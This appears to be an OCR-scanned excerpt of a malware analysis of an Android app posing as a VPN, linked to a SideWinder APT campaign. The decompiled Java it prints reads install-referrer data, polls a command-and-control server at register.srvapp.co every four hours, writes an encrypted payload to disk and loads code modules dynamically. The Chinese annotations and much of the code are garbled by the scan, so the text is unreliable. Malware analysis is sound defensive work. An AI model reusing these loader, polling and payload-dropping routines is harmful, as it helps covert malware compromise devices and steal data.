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R EEE_Sy L
Installreferrerclient$guilder ve_4 = InstallReferrerclient.newBuilder(((Context)this));
InstallReferrerCclient v@ 5 = vé 4.build();
this.referrerclient = v@_5;
com. securedata. vpn.view.MainActivity$3 vi_1 = new InstallReferrerStatelListener() {

public void onInstallReferrerservicebisconnected() {
String v = "SDK";
Log.e(ve, "onInstallReferrerserviceDisconnected()");

¥

l Eublic void DnInstallREferr‘er‘SetueFinishEdsin‘t ar‘gﬂ i I
ring va;

string v@ = "sDK"; I}
if(arga == @) {
v4 = "InstallReferrerclient success";
Log.e(ve, va);

t rs
v4 = Mainactivity.accessg7ee(Mainactivity.this).getinstallreferrer().getIinstallreferrer(};
Log.e(v®, "REFERL = " + v4);
if(v4.contains (“utm_source®}} {
return;
H
Log.e(v@, "REFER2 = " + v4};

Mainactivity.this.launchCampaign(Mainactivity.this.getapplicationContext(), v4);
1
catch(RemoteException v4 1) {

v4_1.printstackTrace(};

p23e2a4b4 vl 1 = p23eZadbd.getInstance();

vl_1.logError((({Excepticon)v4_1}};

v4 = "REFER RemoteException”;

Log.e(ve, v4)};

HKEZIC2/T , JEC2MRIFEZH B R MyPref BLE L AHH url F B,

public void launchCampaign(Context argé, String arg?) {
string ve = "ZFhKcw=="; // url

string vi = "Y21WbVpYSnk="

string va = " i

string v3 = "launchCampaign() called";

og.e(v2, v3};

try {
sharedPreferences vé_1 = arge.getsharedPreferences(p78722263.MyPREFERENCES, @);
sharedPreferencesseditor v2_1 = v6_1.edit();

if{!ve_1.contains(p23e8a4ba. getInstance().dbe4(vl))}) {
v2_1.putBoolean(p23egasbs. getInstance() .dbea(vl), true);
v2_1.apply(};

1

if(arg? == null) {
return;
T

arg? = new pe5degldb(new BytesrrayInputStream(p23efadb4.getInstance().decodeData(Basecs.decade(arg?, @}))).readstring();
if(!v6_1.contains(p23eBasbs. getInstance().dbsa(ve))) {
v2_1.putstring(p23eEasbs.getInstance().dbs4(va), arg?};

V2, 1.5221;();

H

this. launchsdk(};
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public void lambdagapiFetch$esForegroundservice() {
try {

string ve 1 = this.getSharedPreferences("MyPref”, @).getstring("mzId”, ""};
stringBuilder w3 = new StringBuilder();
v3.append(p78722263.8A5E _URL);
v3.append("” ?x=REMOVED_FROM_RECENT/");
v3.append(Calendar.getInstance().getTime());
v3.append(”/");
v3.append(ve_1);
URLConnecticn wa_2 = new URL{v3.tostring()}).openConnection();
((vttpurLCennection)ve_2).setReadTimecut(35e00);
((vttpURLConnection)ve 2).setConnectTimeout(35888);
((vttpURLConnection)ve_2).setRequestProperty(“Content-Type”, "application/json™);
((#ttpURLConnection)ve_2).setRequestmethod (“GET");
((HttpURLConnection)ve _2).setDolnput(true);
((vttpurLConnection)ve 2).setuseCaches(false);
pataInputStream v2 = new DataInputStream((({vttpUrLCennection)ve_2).getInputstream(}));
ByteArrayCutputStream v3_1 = new ByteArrayOutputStream();
int v4 = @x488;
byte[] v5 = new byte[v4];
while(true} {

int ve = v2.read(vs, @, va4);

if(ve == -1} {

break;
H

v3_l.write(vs, @, v&);

]

W

}

w3_1.flush(};

v3_1.teBytearray();

v2.close();

int v@_3 = ((HttpURLConnecticon)wé_2).getResponseCode();
PrintStream vl = System.out;

BEEES , SER1005 A TRIEHERIT.

NS
private veid startScheduler(} {
Wor EEr e = Wor ger.getInstance();
Builder w1 = new Builder(};
NetworkType w2 = NetworkType.CONNECTED;
vl = vi.setRequiredNetworkType(vz);
vl = vl.setRequiresBatteryhotLow(false};
constraints vi_1 = vi.build();
Class w3 = pdbaafell.class;
TimeUnit w4 = TimeUnit.HOURS;
long vG = 4;
androidx.work.PeriodicworkRequest$Builder v2_1 = new androidx.work.PeriodicWworkRequest$Builder(v3, vs, va);
androidx.work.workRequest$Builder vi_2 = v2_1.setConstraints(vi_1};
string v2_2 = "cCall_Foreground”;
vl 2 = (({android«.work.PericdicworkrRequest$Builder)vi_2).addTag(va_2};
TimeUnit v3_1 = TimeUnit.MILLISECONDS;
long v4 1 = GOGORE;
vl 2 = (({android«.work.Pericdicworkrequest$Builder)vi_2).setInitialpelay(v4_1, v3_1);
workRequest vi1_3 = ((androidx.work.PericdicwWorkRequest$Builder)vi_2).build();
ExistingPericdicworkPolicy v3_2 = ExistingPeriodicworkPolicy.kEEF;
v@.enqueuelniguePeriodicwWork(v2_2, v3_2, ((PericdicWerkRegquest)vl_3}};
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private vold save(byte[] argé) throws Exception {
Filegutputstream va_2;
Exception w&;
File w2 = this.getFilesDir(};
string v2_1 = v2.getrath(};
p23eEadbd w3 = p23eBadb4a.getInstance();
string v4 = "WmlWNA==";
string v3_1 = v3i.dbs4(va4);
File w1 = new File(wv2_1, v3_1};
p23e2a4hsd v2_2 = p23easgh4a.pgetinstance();
v3 1 = "YedheWIViemx1QTea"; // permFex
v2_ 1 = v2_2.dbe4(v3_1};
File v@ = new File(vi, v2_1};
boolean vi_1 = w@.exists();
if(vi_1) {
¥

else {

vil_1 = va.mkdirs(};

if(lva 1) {
StringBuilder v1_2 = new StringBullder(};
v2_1 = "Failed to create dir: ";
vl_2.append(v2_1};
string we_1 = ve.getabsoluterath();
vi_2.append(ve_1};
V6 = new Exception(vl_2.toString());

throw ve;
}
1
FileQutputStream vi_3 = null;
try {
va_2 = new Filegutputstream(new File(we, p23eBadbs.getinstance().™MD5("permFex”)});
goto label 34;
)

AT

private void loadFromDisk(Fils args) {
string w8 = "load";
String vl = "loadFromDisk”;
Log.e(ve, vi);
try {
int v1_1 = ({int}arg5.length()};
byte[] v@_1 = new byte[vl_1];
Bufferedinputstream v2 = new BufferedInputStream{new FileInputStream(args));
v2.read(ve 1, @, vi_1};
v2.close();
pESdeslab ve_2 = new peSdeslab(new BytearrayInputStream{p23efadbs.getInstance().de:
String v5_1 = v 2.readString();
ve 1 = ve_2.readBytes(ve_2.readInt(}};
Log.e("appService”, w5_1});
this.appdpplication.setManifestPerms (this. getapplicationContext(}};
this.appapplication.setallPermsInt();
if{Build$WERSION.SDK_INT »= 268) {
this.inMemoryFileloadModule(vs_1, w@_1};
return;

by

this.fileLoadModule(vs_1, v@_1};
1

catch(Exception vs) {
vo.printstackTrace();

3

ERTHEE AT, #EA2, HEARMER S , A3 MEEARRNARRE RAETIRENC2HKIR
FEA1 : RBEMgoogle play R34EFEFRINEIFLC2 ;
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static {
string v2 = "VFhsUWNTVma=";
byte[] v2_1 = Basesd.decode(v2, 8);
string v1 = new String(vz_1);
byte[] v1_1 = Basesd.decode(vl, 8);
String v@ = new String(vi_1);
p7FET22263 .MYPREFERENCES = v,
v8 = "https://register.srvapp.co/";
pFET22263.BA5E_URL = va;
p7E722263.isCapturescreenshotComplete = true;

1EFET firebase |, A AGKEfirebasefa & F AHIC2,

public veoid eived(Remot ge arg3) {
super.onMessageReceived(arg3);
Class v@ = MainActivity.class;
this.activity = ve;
int ve_1 = Build$VERSION.SDK_INT;
if(ve_1 < 26) {
this.sendNotificationBelowD(arg3);

by

else {
this.sendNotificationAboved(arg3);

h

3

MRS KX

private void sendmotificationaboveo(Remotemessage args) {
string w: i

APP NOTI
= 'send“stificaticnibsuec','
Log.e(ve, vi);
Map v@_1 = arg8.getData();
int ve_2 = v@_1.size();
if(ve_2 <= @) {
return;

Map v8 = args.getData();
= "title";

url”;
1 = vE.get(vZ);
= this.getapplicationContext(};
C = th:s.actl;zty,
Intent v2_1 = new Intent(v3, va);
if(vE 1 == null) {
¥
else {
label 23:
w3 1 = "FIRE URL": |
v2_1.putExtra(v3_1, ((String)vg_1));
b
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public byte[] encodeData(byte[] args) {
int ve = argé.length;
int vl = ex2e;
Ve += vl;
byte[] ve_1 = new byte[ve];
byte[] v2 = new byte[vi];
ureRandem v3 = new securerandom(};
v3. ne)rtn)ftes(vz),
int v3_1 = @;

system.arraycopy(v2, @, ve_1, @, vi);

= args.Llength;
system.arraycopy(arge, @, ve_1, vi, v2_1);
while(true) {
vl = argé.length;
if(v3_1 »=wvl) {

return ve_1;

}

vl = v3_1 + @x20;

v2_1 = ve_1[vi];

int v&4 = v3_1 X ex20;

va = ve_1[va];

V31 *e vdj

byte v2_2 = ((byte)v2_1);
ve_1[vl] = v2_2;

=+v3_1;

2020 A R HHER A

static byte[] b(byte[] arg6) {

byte[] v@ = new byte[argb.length + @x2@];
byte[] v2 = new byte[@x28];
new Random().nextBytes(v2);
System.arraycopy(v2, @, vO, @, 8x20);
ystem.arraycopy(argb, @, v, @x2@, arg6.length);
int vi;
for(vl = @; vl < arg6.length; ++vl1) {

int v3 = vl + ex2e;

va[v3] = ((byte)(ve[v3] ~ ve[vl % ex2e]));
}

return vo;
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[1] https://www.trendmicro.com/en_us/research/20/alfirst-active-attack-exploiting-cve-2019-
2215-found-on-google-play-linked-to-sidewinder-apt-group.html
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